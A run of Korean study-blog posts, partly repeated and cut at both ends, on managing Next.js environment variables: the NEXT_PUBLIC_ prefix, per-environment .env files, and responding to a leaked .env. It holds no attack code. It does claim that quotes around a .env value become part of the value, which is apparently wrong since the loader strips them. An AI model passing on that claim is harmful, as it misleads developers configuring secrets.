오늘 가장 충격이었던 건 라이브 키를 개발에 쓰면 에러가 나는 게 아니라 진짜 작동해버린다는 것. "테스트 결제가 진짜 결제가 된다"는 말에 소름이 돋았다. .env.development에 테스트 키, .env.production에 라이브 키를 분리하는 게 단순한 정리가 아니라 사고 예방이었다.

그리고 .env.example 작성법을 배우면서, "코드만 잘 짜면 되는 게 아니라 팀이 같이 쓸 수 있게 정리하는 것도 개발"이라는 걸 느꼈다.

📚 다음 학습 예고

Day 19: 프론트엔드 보안 기본기 (XSS, CSRF 개념) 해커가 우리 사이트를 어떻게 공격하는지, 어떻게 막는지 배운다.

#프론트엔드 #API키 #환경변수 #보안 #env #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 17일차. Part 2 "환경변수·시크릿·보안"의 두 번째 수업.

어제 NEXT_PUBLIC_의 비밀을 배웠다면, 오늘은 환경변수를 환경별로 관리하는 법과 유출 사고 대처법을 배웠다.

🍳 오늘의 비유: "본점과 2호점의 재료 납품업체가 다르다"

레스토랑이 확장됐다.

본점 (개발 환경)     → 동네 시장에서 재료 구매 (싸고 빠름)
2호점 (테스트 환경)  → 도매시장에서 재료 구매 (양이 많음)
3호점 (실서비스 환경) → 프리미엄 납품업체에서 구매 (품질 최고)

같은 레시피(코드)인데 지점마다 납품처(환경변수)가 다르다. 레시피를 바꾸는 게 아니라 납품처 목록만 바꾸면 된다.

📁 환경별 .env 파일

Next.js에서는 여러 개의 .env 파일을 쓸 수 있다:

내 프로젝트/
├── .env                 ← 모든 환경에서 공통으로 쓰는 값
├── .env.local           ← 내 컴퓨터에서만 쓰는 값 (git에 안 올림)
├── .env.development     ← yarn dev 할 때 쓰는 값
├── .env.production      ← yarn build + yarn start 할 때 쓰는 값
└── .env.test            ← 테스트 돌릴 때 쓰는 값

우선순위 (위가 가장 높음):

1. .env.local              ← 최우선 (내 컴퓨터 전용)
2. .env.development        ← dev 모드일 때
   .env.production         ← production 모드일 때
3. .env                    ← 기본값 (가장 낮음)

실제 예시

# .env.development (yarn dev 할 때)
NEXT_PUBLIC_API_URL=http://localhost:3000/api
DATABASE_URL=postgresql://user:1234@localhost:5432/mydb_dev

# .env.production (yarn build + yarn start 할 때)
NEXT_PUBLIC_API_URL=https://api.mysite.com
DATABASE_URL=postgresql://user:secret@real-server:5432/mydb_prod

같은 코드인데 환경에 따라 다른 값이 들어간다:

const apiUrl = process.env.NEXT_PUBLIC_API_URL;
// yarn dev → http://localhost:3000/api
// yarn start → https://api.mysite.com

내 프로젝트 scripts와 연결

{
  "dev": "next dev -p 4040",        // → .env.development 사용
  "build": "next build",            // → .env.production 사용
  "start": "next start -p 5008",    // → .env.production 사용
  "devStart": "next start -p 5007"  // → .env.production 사용 (next start니까!)
}

주의! devStart는 이름에 dev가 있지만 next start를 실행하니까 production 환경변수를 사용한다. Day 5에서 배운 것처럼 dev/production은 이름이 아니라 모드로 결정된다.

⚠️ process.env 사용 시 흔한 실수 3가지

실수 1: 구조분해 할당으로 꺼내기

// ❌ 이렇게 하면 안 됨!
const { API_URL } = process.env;

// ✅ 이렇게 써야 함
const apiUrl = process.env.API_URL;

Next.js는 빌드할 때 process.env.변수명이라는 정확한 패턴을 찾아서 값을 치환한다. 구조분해하면 이 패턴을 못 찾는다.

실수 2: 환경변수 변경 후 서버 안 껐다 켜기

.env 파일 수정 → yarn dev가 이미 돌아가고 있음
→ 변경된 값이 반영 안 됨!
→ yarn dev 껐다 다시 켜야 반영됨

환경변수는 서버가 시작할 때 한 번만 읽는다. 중간에 바꾸면 재시작해야 한다.

실수 3: .env 파일에 따옴표 쓰기

# ❌ 따옴표가 값에 포함됨
API_KEY="sk-abc123"    → 실제 값: "sk-abc123" (따옴표 포함!)

# ✅ 따옴표 없이
API_KEY=sk-abc123      → 실제 값: sk-abc123

🚨 .env를 실수로 git에 올려버렸을 때

왜 심각한가?

.env에 있는 값:
DATABASE_URL=postgresql://user:비밀번호@서버주소:5432/mydb
PAYMENT_SECRET=pay_live_진짜키

이걸 git push하면:
→ GitHub에 올라감
→ 저장소가 public이면 전 세계가 봄
→ 해커 봇이 GitHub를 24시간 스캔하고 있음!
→ AWS 키가 노출되면 몇 분 안에 수백만 원 요금 발생 사례도 있음

레스토랑 비유: 비밀 소스 레시피를 SNS에 올린 것과 같다. 삭제해도 누가 이미 스크린샷을 떴을 수 있다.

사고 대응 5단계

1단계: 즉시 키 무효화 (가장 먼저!)

삭제가 먼저가 아니라 키를 무효화하는 게 먼저!

→ AWS 키: IAM에서 키 비활성화/삭제
→ 결제 키: 대시보드에서 키 재발급
→ DB 비밀번호: 비밀번호 변경

git에서 삭제해도 커밋 기록에 남아있다. 누가 이미 봤을 수 있으니까 키 자체를 못 쓰게 만드는 게 먼저다.

레스토랑 비유: 유출된 레시피를 SNS에서 지우는 것보다 레시피를 바꾸는 게 먼저.

2단계: .env를 git에서 제거

git rm --cached .env
git rm --cached .env.local

3단계: .gitignore에 추가

# .gitignore
.env
.env.local
.env.development
.env.production
.env*.local

4단계: 커밋하고 push

git add .gitignore
git commit -m "fix: .env 파일 git 추적 제거, gitignore 추가"
git push

5단계: 새 키 발급 + 모든 곳에 업데이트

무효화한 키 대신 새 키 발급
→ 내 컴퓨터 .env에 새 키
→ 서버 .env에도 새 키
→ GitHub Secrets에도 새 키 (CI/CD용)

🛡️ 애초에 사고를 예방하는 법

방법 1: .gitignore에 미리 등록

프로젝트 시작할 때 제일 먼저 등록:

# .gitignore
.env
.env.local
.env.development
.env.production
.env*.local

방법 2: .env.example 만들기

.env는 git에 안 올리지만, 어떤 환경변수가 필요한지는 알려줘야 한다.

# .env.example (이건 git에 올림!)
# 이 파일을 .env로 복사하고 실제 값을 채워주세요.

NEXT_PUBLIC_API_URL=여기에_API_URL_입력
DATABASE_URL=여기에_DB_URL_입력
API_SECRET_KEY=여기에_시크릿키_입력

.env          → 실제 값 (git에 안 올림)
.env.example  → "이런 값들이 필요해요" 가이드 (git에 올림)

새로운 팀원이 오면:

1. .env.example을 보고 어떤 값이 필요한지 이해
2. .env.example을 .env로 복사
3. 팀 리더한테 실제 값을 받아서 채움

방법 3: git add 전에 확인

git status        # .env가 목록에 있으면 ❌
git diff --staged # 커밋할 내용 미리 보기

🔗 환경변수가 존재하는 3곳

1. 내 컴퓨터    → .env 파일 (git에 안 올림)
2. CI/CD       → GitHub Secrets (저장소 Settings)
3. 서버        → .env 파일 또는 서버 환경변수 설정

이 3곳에 같은 값이 동기화되어 있어야 한다. 하나라도 빠지면 빌드 에러가 나거나 사이트가 이상하게 동작한다.

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. 환경별 .env 파일: .env.development(dev), .env.production(build/start), .env.local(최우선)
2. 우선순위: .env.local > .env.development/.production > .env
3. 흔한 실수 3가지: 구조분해 할당 ❌, 변경 후 재시작 필요, 따옴표 주의
4. .env 유출 시 대응: 키 무효화가 1순위! → git에서 제거 → .gitignore 추가 → 새 키 발급
5. 예방법: .gitignore에 미리 등록, .env.example 만들기, git status로 확인
6. 환경변수 3곳: 내 컴퓨터(.env) + CI/CD(GitHub Secrets) + 서버(.env) → 동기화 필수

🧪 이해도 체크

Q1. .env 파일을 실수로 git에 올렸을 때 가장 먼저 해야 할 일은? → 정답: .env에 있는 키들을 전부 무효화하고 새로 발급. git에서 삭제해도 커밋 기록에 남아있고 누가 이미 봤을 수 있으니까 키 자체를 못 쓰게 만드는 게 먼저.

Q2. .env.example은 왜 필요한가? → 정답: 어떤 환경변수가 필요한지 보여주는 가이드 파일. .env는 실제 값이 들어있어서 git에 안 올리고, .env.example은 값 없이 변수명만 있어서 git에 올림. 새 팀원이 와도 뭐가 필요한지 바로 알 수 있다.

Q3. 환경변수를 수정했는데 반영이 안 되는 이유는? → 정답: 환경변수는 서버가 시작할 때 한 번만 읽기 때문. yarn dev 껐다 다시 켜야 반영된다.

💭 회고

환경변수를 "그냥 값 넣는 파일" 정도로만 생각하고 있었다.

오늘 배우고 나니 환경변수 관리는 생각보다 체계적이어야 한다는 걸 느꼈다. 환경별로 다른 .env 파일을 쓰고, .env.example로 팀에 가이드를 주고, .gitignore에 미리 등록해서 사고를 예방하는 것까지.

특히 ".env를 git에 올려버렸을 때" 대처법이 인상적이었다. 삭제가 아니라 키 무효화가 1순위라는 걸 알게 됐다. 커밋 기록에 남아있으니까 삭제해봤자 의미가 없고, 키 자체를 못 쓰게 만드는 게 먼저.

Day 14에서 배운 "고치기 전에 되돌려라"와 비슷한 원칙이다. 피해를 먼저 막고, 원인 처리는 그 다음.

📚 다음 학습 예고

Day 18: API 키 관리 best practice + .env.example의 역할 공개 키 vs 시크릿 키 구분, 키 관리 실전 패턴을 배운다.

#프론트엔드 #환경변수 #process.env #gitignore #보안 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 16일차. Part 2: 환경변수·시크릿·보안 시작!

Part 1에서 코드가 사용자 화면까지 가는 전체 흐름을 배웠다면, Part 2에서는 그 흐름 속에 숨겨진 비밀 정보 관리를 다룬다.

오늘의 핵심 질문:

"내가 .env에 적은 값이 혹시 사용자 브라우저에서 보이는 건 아닐까?"

🍳 오늘의 비유: "주방 비밀 레시피 vs 메뉴판"

레스토랑에는 두 종류의 정보가 있다.

🔓 메뉴판에 적어도 되는 정보 (공개)
   - 메뉴 이름, 가격, 칼로리
   - 손님이 봐도 상관없음

🔒 주방에서만 알아야 하는 정보 (비밀)
   - 비밀 소스 레시피
   - 재료 납품업체 연락처, 원가 정보
   - 손님이 보면 안 됨!

환경변수도 똑같다:

🔓 브라우저에 노출돼도 되는 값: 사이트 URL, GA 트래킹 ID
🔒 서버에서만 써야 하는 값: API 시크릿 키, DB 비밀번호, 결제 시스템 키

Next.js는 이 두 가지를 구분하는 규칙이 있다. 그게 바로 NEXT_PUBLIC_ 접두사!

🔑 NEXT_PUBLIC_ 규칙

규칙은 딱 하나

NEXT_PUBLIC_ 으로 시작하면 → 브라우저에서 볼 수 있음 (공개)
NEXT_PUBLIC_ 없으면         → 서버에서만 쓸 수 있음 (비밀)

실제 .env 파일로 보면:

# 🔓 브라우저에 노출됨 (NEXT_PUBLIC_ 붙음)
NEXT_PUBLIC_API_URL=https://api.mysite.com
NEXT_PUBLIC_GA_ID=G-ABC123

# 🔒 서버에서만 사용 (NEXT_PUBLIC_ 안 붙음)
DATABASE_URL=postgresql://user:password@localhost:5432/mydb
API_SECRET_KEY=sk-super-secret-key-123
PAYMENT_SECRET=pay_live_abcdefg

왜 브라우저에서 보이는가? (기술적 이유)

Day 2에서 배운 yarn build와 연결된다. 빌드할 때 NEXT_PUBLIC_ 값이 JS 파일에 직접 박힌다.

// 빌드 전 (내가 쓴 코드)
const apiUrl = process.env.NEXT_PUBLIC_API_URL;

// 빌드 후 (.next 안의 JS 파일)
const apiUrl = "https://api.mysite.com";
// ↑ 값이 그대로 들어감! 이 JS를 브라우저가 다운받으니까 보이는 것!

반면 NEXT_PUBLIC_ 없는 변수는 빌드할 때 값이 들어가지 않는다:

// 빌드 전
const dbUrl = process.env.DATABASE_URL;

// 빌드 후
const dbUrl = process.env.DATABASE_URL;
// ↑ 값이 안 들어감! 서버에서 실행할 때만 읽어옴

🚨 흔한 실수: NEXT_PUBLIC_ 붙이면 안 되는 것들

# ❌ 절대 이렇게 하면 안 됨!
NEXT_PUBLIC_DATABASE_URL=postgresql://user:password@...
NEXT_PUBLIC_API_SECRET=sk-super-secret-key
NEXT_PUBLIC_PAYMENT_KEY=pay_live_real_key

# ✅ 이건 NEXT_PUBLIC_ 붙여도 됨
NEXT_PUBLIC_API_URL=https://api.mysite.com
NEXT_PUBLIC_GA_ID=G-ABC123
NEXT_PUBLIC_SITE_NAME=MyShop

판단 기준은 간단하다:

"이 값을 전 세계 누구나 봐도 괜찮은가?"

괜찮다 → NEXT_PUBLIC_ 가능 안 괜찮다 → NEXT_PUBLIC_ 절대 금지

🔒 비밀 값은 어디서 쓰는가?

NEXT_PUBLIC_ 없는 변수는 서버 사이드 코드에서만 접근할 수 있다.

Pages Router에서

// pages/api/payment.js — API Route (서버에서 실행)
export default function handler(req, res) {
  const secretKey = process.env.PAYMENT_SECRET; // ✅ 안전
  // 결제 처리...
}

// components/UserList.jsx — 컴포넌트 (브라우저에서 실행)
export default function UserList() {
  const dbUrl = process.env.DATABASE_URL; // ❌ undefined!
  const apiUrl = process.env.NEXT_PUBLIC_API_URL; // ✅ 정상
}

Pages Router에서 서버 코드를 쓸 수 있는 곳:

✅ getServerSideProps
✅ getStaticProps
✅ /pages/api/ (API Routes)

App Router에서는?

App Router에서는 용어와 방식이 좀 다르다. 가장 큰 차이: 컴포넌트가 기본적으로 서버에서 실행된다.

// App Router - 기본이 Server Component
// app/page.jsx
export default function Page() {
  // ✅ NEXT_PUBLIC_ 없어도 접근 가능! (서버에서 실행되니까)
  const dbUrl = process.env.DATABASE_URL;

  return <div>...</div>;
}

// App Router - "use client" 붙이면 브라우저에서 실행
// app/components/Counter.jsx
"use client";

export default function Counter() {
  const dbUrl = process.env.DATABASE_URL; // ❌ undefined
  const apiUrl = process.env.NEXT_PUBLIC_API_URL; // ✅ 정상
}

Pages Router vs App Router 비교

Pages Router: 기본적으로 홀(브라우저)에서 일하고,
              주방(서버)에서 일하려면 특별한 함수를 써야 함
              (getServerSideProps, API Routes)

App Router:   기본적으로 주방(서버)에서 일하고,
              홀(브라우저)에서 일하려면 "use client" 명찰을 달아야 함

어떤 라우터를 쓰든 핵심 원칙은 동일하다:

브라우저에서 실행되는 코드 → NEXT_PUBLIC_만 접근 가능 서버에서 실행되는 코드 → 모든 환경변수 접근 가능

🔄 전체 흐름 정리

사용자 브라우저
  → NEXT_PUBLIC_API_URL로 API 요청
  → /pages/api/payment.js (서버에서 실행)
  → PAYMENT_SECRET으로 결제 처리 (사용자는 이 값을 모름!)
  → 결과만 사용자에게 전달

레스토랑 비유:

손님이 메뉴판(NEXT_PUBLIC_) 보고 주문
→ 주문이 주방(서버)으로 감
→ 주방에서 비밀 소스(PAYMENT_SECRET) 사용해서 요리
→ 완성된 음식(결과 데이터)만 손님에게 전달
→ 손님은 비밀 소스 레시피를 모름!

🔍 실제로 확인해보기

Chrome DevTools에서 NEXT_PUBLIC_ 값이 정말 보이는지 확인할 수 있다.

1. 사이트 접속
2. F12 → Sources 탭
3. _next/static/chunks/ 폴더 열기
4. Ctrl+F로 NEXT_PUBLIC_ 값 검색
→ 값이 실제로 JS 파일 안에 들어있음!

✅ 회사 프로젝트 점검 체크리스트

✅ 체크 1: NEXT_PUBLIC_ 붙은 값 중에 비밀번호나 시크릿 키가 있는가?
   → 있으면 즉시 NEXT_PUBLIC_ 제거!

✅ 체크 2: API 키가 NEXT_PUBLIC_으로 노출되고 있는가?
   → 공개 키(publishable key)는 OK
   → 시크릿 키(secret key)는 NG!

✅ 체크 3: 결제 관련 키가 NEXT_PUBLIC_에 있는가?
   → 절대 안 됨. 서버 사이드로 옮겨야 함.

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. NEXT_PUBLIC_ 규칙: 붙으면 브라우저 노출(공개), 안 붙으면 서버 전용(비밀)
2. 기술적 이유: 빌드할 때 NEXT_PUBLIC_ 값이 JS 파일에 직접 박히기 때문
3. 판단 기준: "전 세계 누구나 봐도 괜찮은가?"
4. 비밀 값 사용처: Pages Router는 getServerSideProps, API Routes / App Router는 Server Component(기본), Route Handler
5. Pages vs App Router 차이: Pages는 기본이 브라우저, App은 기본이 서버. 원칙은 동일
6. 흔한 실수: DB 비밀번호, 시크릿 키에 NEXT_PUBLIC_ 붙이면 전 세계에 공개됨

🧪 이해도 체크

Q1. NEXT_PUBLIC_ 값이 브라우저에서 보이는 기술적 이유는? → 정답: yarn build할 때 NEXT_PUBLIC_ 값이 빌드 결과물(JS 파일)에 문자열로 직접 박히기 때문. 브라우저가 이 JS를 다운받으면 값이 보인다.

Q2. 결제 시크릿 키를 안전하게 사용하려면? → 정답: NEXT_PUBLIC_을 붙이지 않고, 서버 사이드 코드(API Routes, getServerSideProps, Server Component)에서만 사용한다. 브라우저에서 실행되는 코드에 넣으면 안 된다.

Q3. NEXT_PUBLIC_이 붙으면 안 되는 값이 붙어있다면? → 정답: 누구나 Chrome DevTools로 JS 파일을 열어 시크릿 키를 볼 수 있다. 결제 키가 노출되면 악용될 수 있고, DB 비밀번호가 노출되면 데이터 유출 위험.

💭 회고

지금까지 .env 파일에 환경변수를 적을 때 NEXT_PUBLIC_을 별 생각 없이 붙이거나 안 붙이고 있었다.

오늘 배우고 나니 이게 단순한 이름 규칙이 아니라 "이 값이 전 세계에 공개되느냐 마느냐"를 결정하는 보안 경계선이었다.

특히 빌드할 때 NEXT_PUBLIC_ 값이 JS 파일에 직접 박힌다는 게 충격이었다. Day 2에서 배운 빌드 과정이 여기서 다시 연결될 줄 몰랐다.

App Router에서는 컴포넌트가 기본적으로 서버에서 실행된다는 것도 새로운 관점이었다. Pages Router와 원칙은 같지만 기본 동작이 반대라는 게 흥미롭다.

내일은 process.env 사용법과 "환경변수를 실수로 커밋했을 때 대처법"을 배운다. 실수는 누구나 할 수 있으니까, 대처법을 미리 알아두는 게 중요하다.

📚 다음 학습 예고

Day 17: process.env 사용법 + 환경변수 실수로 커밋했을 때 대처법 ".env를 깃에 올려버렸다!" — 이 상황, 생각보다 자주 일어난다.

#프론트엔드 #환경변수 #NEXT_PUBLIC #보안 #Next.js #2년차개발자 #기초다시쌓기

오늘은 15일간 배운 모든 걸 하나의 큰 그림으로 연결하는 시간이었다.

🍳 레스토랑 전체 스토리: 1일차부터 14일차까지

Chapter 1: 레스토랑 오픈 (Week 1 - 빌드·배포 전체 그림)

Day 1: 레시피(코드) 작성만으로는 손님이 못 먹는다.
       재료 손질(빌드) → 주방 세팅(배포) → 영업 시작(실행)이 필요하다.

Day 2: 재료 손질(yarn build)의 4가지 일.
       번역(컴파일) + 합치기(번들링) + 압축(최적화) + 미리 만들기(정적생성)

Day 3: 손님이 실제로 받는 음식 = 압축된 JS, CSS, HTML.
       자주 시키는 메뉴는 캐시, 먼 곳은 CDN으로 빠르게 전달.

Day 4: 재료를 하나하나 따로 배달하면 느리니까 합친다(번들링).
       안 쓰는 재료는 버린다(Tree Shaking).

Day 5: 연습 주방(dev)과 실전 주방(start)의 차이.
       이건 장소 차이가 아니라 모드 차이다.

Chapter 2: 주방 인프라 구축 (Week 2 - 배포 환경 이해)

Day 6: 주방 건물(서버) 고르기. 자체 건물 vs AWS vs Vercel.

Day 7: 멀리 있는 주방에 전화선(SSH)으로 원격 지시.
       근데 전화 끊으면 셰프가 퇴근해버린다.

Day 8: 주방 매니저(pm2) 고용. 셰프 쓰러지면 새 셰프 투입.
       전화 끊겨도 영업 계속. 정전 후에도 자동 출근.

Day 9: 홀 매니저(Nginx) 고용. 손님 요청을 알맞은 주방으로 안내.
       도메인별로 다른 포트 분배. 서버 내부 구조 숨김.

Day 10: CCTV(로그) 설치. 문제 생기면 pm2 logs부터 확인.
        DEBUG → INFO → WARN → ERROR → FATAL.

Chapter 3: 자동화 시스템 도입 (Week 3 - 실전 배포 흐름)

Day 11: 자동 주방 관리 로봇(CI/CD) 도입.
        push만 하면 자동으로 빌드 + 테스트 + 배포.

Day 12: 2호점에서 맛이 달라서 이동식 주방(Docker) 도입.
        환경 통째로 패키징해서 어디서든 같은 결과.

Day 13: 로봇 + 이동식 주방 합체(CI/CD + Docker) = 완성형 배포.
        git push 하나로 전부 자동.

Day 14: 신메뉴 배탈(런타임 에러) 대응법.
        "고치기 전에 되돌려라(롤백)". Docker 태그면 1~2분 복구.

🗺️ 전체 흐름도: 코드 한 줄이 사용자 화면까지 가는 여정

Day 1에서 던졌던 질문: "내 코드가 어떻게 사용자 화면까지 가는가?"

15일 전에는 막막했지만, 이제 전부 설명할 수 있다.

[1단계: 개발] (Day 1, 5)
VSCode에서 코드 작성
→ yarn dev로 개발 서버에서 확인

        ↓

[2단계: 코드 올리기] (Day 11)
git push to main

        ↓

[3단계: CI - 자동 검사] (Day 11, 14)
GitHub Actions가 자동 실행
→ lint 검사 → yarn build → 유닛 테스트
→ 하나라도 실패하면 ❌ 중단!

        ↓

[4단계: Docker 이미지 생성] (Day 12)
docker build → 코드+환경+빌드결과 통째로 패키징
→ Docker Hub에 업로드

        ↓

[5단계: CD - 자동 배포] (Day 13)
SSH로 서버 접속
→ docker pull → docker stop → rm → run

        ↓

[6단계: 서버에서 실행] (Day 6, 7, 8)
컨테이너 안에서 yarn start 자동 실행
→ pm2 또는 Docker가 프로세스 관리

        ↓

[7단계: 요청 전달] (Day 9)
사용자가 도메인 입력
→ Nginx가 요청을 받아서 앱 포트로 전달

        ↓

[8단계: 사용자 화면] (Day 3, 4)
브라우저가 번들링·압축된 JS, CSS, HTML 다운로드
→ 캐시·CDN으로 빠르게 전달 → 화면 렌더링!

        ↓

[문제 발생 시] (Day 10, 14)
로그 확인 (pm2 → Nginx → 시스템)
→ 심각하면 롤백 → 수정 후 재배포

개발자가 직접 하는 일은 1단계(코드 작성)와 2단계(git push)까지. 3단계부터 전부 자동이다.

📋 핵심 개념 총정리: 한 줄 요약

Week 1: 빌드·배포 전체 그림

Week 2: 배포 환경 이해

Week 3: 실전 배포 흐름

🍳 레스토랑 비유 총정리

15일간 쌓아온 비유 전체를 한눈에:

⭐ "이것만은 꼭 기억하자" TOP 5

1. 빌드와 실행은 다르다

yarn build = 한 번만 (결과물 만들기)
yarn start = 필요할 때마다 (결과물 실행하기)
build 없이 start 불가능!

2. dev 모드와 production 모드는 다르다

yarn dev = 개발할 때 (편하지만 느림)
yarn start = 실서비스 (빠르지만 엄격)
로컬/서버 차이가 아니라 모드 차이!

3. 서버는 혼자 안 돌아간다

pm2 = 프로세스 죽으면 살려줌
Nginx = 요청을 알맞은 앱으로 전달
이 둘이 있어야 안정적인 서비스 가능

4. CI/CD + Docker = 현대적 배포

git push만 하면 빌드·테스트·배포 전부 자동
Docker로 환경 동일 보장

5. 문제 생기면 롤백 먼저

고치기 전에 되돌려라
로그 확인 순서: pm2 logs → Nginx logs → 시스템 로그
Docker 태그 롤백이면 1~2분

🧪 이해도 체크

Q1. 문제 원인을 찾는 순서와 버그 대응법은? → 정답: 로그 확인(pm2 → Nginx → 시스템) → 롤백 먼저(이전 버전으로 되돌리기) → 사이트 정상화 확인 → 원인 파악 + 수정 후 재배포

Q2. 수동 배포를 CI/CD + Docker로 바꾸면? → 정답: git push만 하면 빌드·테스트·배포 전부 자동 + Docker로 환경 동일 보장. 서버에서는 docker pull → docker run만 하면 끝.

Q3. Dockerfile, 이미지, Docker Hub, 컨테이너의 관계는? → 정답: Dockerfile(조립 설명서) → docker build → 이미지(설계도) → docker push → Docker Hub(중앙 창고) → docker pull + run → 컨테이너(실제 푸드트럭)

💭 회고

15일 전, Day 1에서 "내 코드가 어떻게 사용자 화면까지 가는가?"라는 질문으로 시작했다.

그때는 yarn build가 뭘 하는지도 몰랐고, 서버가 뭔지, pm2가 왜 필요한지, Nginx가 뭔지 전부 막막했다.

15일이 지난 지금, 코드 한 줄이 사용자 화면까지 가는 전체 여정을 설명할 수 있다.

코드 작성 → git push → CI/CD 자동 검사 → Docker 이미지 생성
→ 서버 배포 → pm2 프로세스 관리 → Nginx 요청 전달 → 사용자 화면
→ 문제 생기면 로그 확인 → 롤백

이 하나하나가 다 연결된다는 걸 알게 된 게 가장 큰 수확이다.

특히 서버·인프라 영역(pm2, Nginx, Docker, CI/CD)을 프론트엔드 개발자도 알아야 한다는 걸 체감했다. 자체 서버에서 Next.js를 직접 돌리는 환경이라면 이건 선택이 아니라 필수다.

그리고 이 지식은 나중에 Node.js + Express.js 백엔드 공부할 때 그대로 연결된다. 지금 쌓은 기반이 앞으로의 성장을 훨씬 빠르게 만들어줄 거라 확신한다.

📚 다음 학습 예고

Part 2: 환경변수·시크릿·보안 (Day 16~20) "비밀정보는 어디에 어떻게 숨기는가?"

Day 16: NEXT_PUBLIC_ 접두사의 비밀 (브라우저 노출 vs 서버 전용) API 키, 비밀번호 같은 민감한 정보를 안전하게 관리하는 법을 배운다.

#프론트엔드 #빌드 #배포 #서버 #인프라 #Docker #CI/CD #pm2 #Nginx #2년차개발자 #기초다시쌓기

오늘은 15일간 배운 모든 걸 하나의 큰 그림으로 연결하는 시간이었다.

🍳 레스토랑 전체 스토리: 1일차부터 14일차까지

Chapter 1: 레스토랑 오픈 (Week 1 - 빌드·배포 전체 그림)

Day 1: 레시피(코드) 작성만으로는 손님이 못 먹는다.
       재료 손질(빌드) → 주방 세팅(배포) → 영업 시작(실행)이 필요하다.

Day 2: 재료 손질(yarn build)의 4가지 일.
       번역(컴파일) + 합치기(번들링) + 압축(최적화) + 미리 만들기(정적생성)

Day 3: 손님이 실제로 받는 음식 = 압축된 JS, CSS, HTML.
       자주 시키는 메뉴는 캐시, 먼 곳은 CDN으로 빠르게 전달.

Day 4: 재료를 하나하나 따로 배달하면 느리니까 합친다(번들링).
       안 쓰는 재료는 버린다(Tree Shaking).

Day 5: 연습 주방(dev)과 실전 주방(start)의 차이.
       이건 장소 차이가 아니라 모드 차이다.

Chapter 2: 주방 인프라 구축 (Week 2 - 배포 환경 이해)

Day 6: 주방 건물(서버) 고르기. 자체 건물 vs AWS vs Vercel.

Day 7: 멀리 있는 주방에 전화선(SSH)으로 원격 지시.
       근데 전화 끊으면 셰프가 퇴근해버린다.

Day 8: 주방 매니저(pm2) 고용. 셰프 쓰러지면 새 셰프 투입.
       전화 끊겨도 영업 계속. 정전 후에도 자동 출근.

Day 9: 홀 매니저(Nginx) 고용. 손님 요청을 알맞은 주방으로 안내.
       도메인별로 다른 포트 분배. 서버 내부 구조 숨김.

Day 10: CCTV(로그) 설치. 문제 생기면 pm2 logs부터 확인.
        DEBUG → INFO → WARN → ERROR → FATAL.

Chapter 3: 자동화 시스템 도입 (Week 3 - 실전 배포 흐름)

Day 11: 자동 주방 관리 로봇(CI/CD) 도입.
        push만 하면 자동으로 빌드 + 테스트 + 배포.

Day 12: 2호점에서 맛이 달라서 이동식 주방(Docker) 도입.
        환경 통째로 패키징해서 어디서든 같은 결과.

Day 13: 로봇 + 이동식 주방 합체(CI/CD + Docker) = 완성형 배포.
        git push 하나로 전부 자동.

Day 14: 신메뉴 배탈(런타임 에러) 대응법.
        "고치기 전에 되돌려라(롤백)". Docker 태그면 1~2분 복구.

🗺️ 전체 흐름도: 코드 한 줄이 사용자 화면까지 가는 여정

Day 1에서 던졌던 질문: "내 코드가 어떻게 사용자 화면까지 가는가?"

15일 전에는 막막했지만, 이제 전부 설명할 수 있다.

[1단계: 개발] (Day 1, 5)
VSCode에서 코드 작성
→ yarn dev로 개발 서버에서 확인

        ↓

[2단계: 코드 올리기] (Day 11)
git push to main

        ↓

[3단계: CI - 자동 검사] (Day 11, 14)
GitHub Actions가 자동 실행
→ lint 검사 → yarn build → 유닛 테스트
→ 하나라도 실패하면 ❌ 중단!

        ↓

[4단계: Docker 이미지 생성] (Day 12)
docker build → 코드+환경+빌드결과 통째로 패키징
→ Docker Hub에 업로드

        ↓

[5단계: CD - 자동 배포] (Day 13)
SSH로 서버 접속
→ docker pull → docker stop → rm → run

        ↓

[6단계: 서버에서 실행] (Day 6, 7, 8)
컨테이너 안에서 yarn start 자동 실행
→ pm2 또는 Docker가 프로세스 관리

        ↓

[7단계: 요청 전달] (Day 9)
사용자가 도메인 입력
→ Nginx가 요청을 받아서 앱 포트로 전달

        ↓

[8단계: 사용자 화면] (Day 3, 4)
브라우저가 번들링·압축된 JS, CSS, HTML 다운로드
→ 캐시·CDN으로 빠르게 전달 → 화면 렌더링!

        ↓

[문제 발생 시] (Day 10, 14)
로그 확인 (pm2 → Nginx → 시스템)
→ 심각하면 롤백 → 수정 후 재배포

개발자가 직접 하는 일은 1단계(코드 작성)와 2단계(git push)까지. 3단계부터 전부 자동이다.

📋 핵심 개념 총정리: 한 줄 요약

Week 1: 빌드·배포 전체 그림

Week 2: 배포 환경 이해

Week 3: 실전 배포 흐름

🍳 레스토랑 비유 총정리

15일간 쌓아온 비유 전체를 한눈에:

⭐ "이것만은 꼭 기억하자" TOP 5

1. 빌드와 실행은 다르다

yarn build = 한 번만 (결과물 만들기)
yarn start = 필요할 때마다 (결과물 실행하기)
build 없이 start 불가능!

2. dev 모드와 production 모드는 다르다

yarn dev = 개발할 때 (편하지만 느림)
yarn start = 실서비스 (빠르지만 엄격)
로컬/서버 차이가 아니라 모드 차이!

3. 서버는 혼자 안 돌아간다

pm2 = 프로세스 죽으면 살려줌
Nginx = 요청을 알맞은 앱으로 전달
이 둘이 있어야 안정적인 서비스 가능

4. CI/CD + Docker = 현대적 배포

git push만 하면 빌드·테스트·배포 전부 자동
Docker로 환경 동일 보장

5. 문제 생기면 롤백 먼저

고치기 전에 되돌려라
로그 확인 순서: pm2 logs → Nginx logs → 시스템 로그
Docker 태그 롤백이면 1~2분

🧪 이해도 체크

Q1. 문제 원인을 찾는 순서와 버그 대응법은? → 정답: 로그 확인(pm2 → Nginx → 시스템) → 롤백 먼저(이전 버전으로 되돌리기) → 사이트 정상화 확인 → 원인 파악 + 수정 후 재배포

Q2. 수동 배포를 CI/CD + Docker로 바꾸면? → 정답: git push만 하면 빌드·테스트·배포 전부 자동 + Docker로 환경 동일 보장. 서버에서는 docker pull → docker run만 하면 끝.

Q3. Dockerfile, 이미지, Docker Hub, 컨테이너의 관계는? → 정답: Dockerfile(조립 설명서) → docker build → 이미지(설계도) → docker push → Docker Hub(중앙 창고) → docker pull + run → 컨테이너(실제 푸드트럭)

💭 회고

15일 전, Day 1에서 "내 코드가 어떻게 사용자 화면까지 가는가?"라는 질문으로 시작했다.

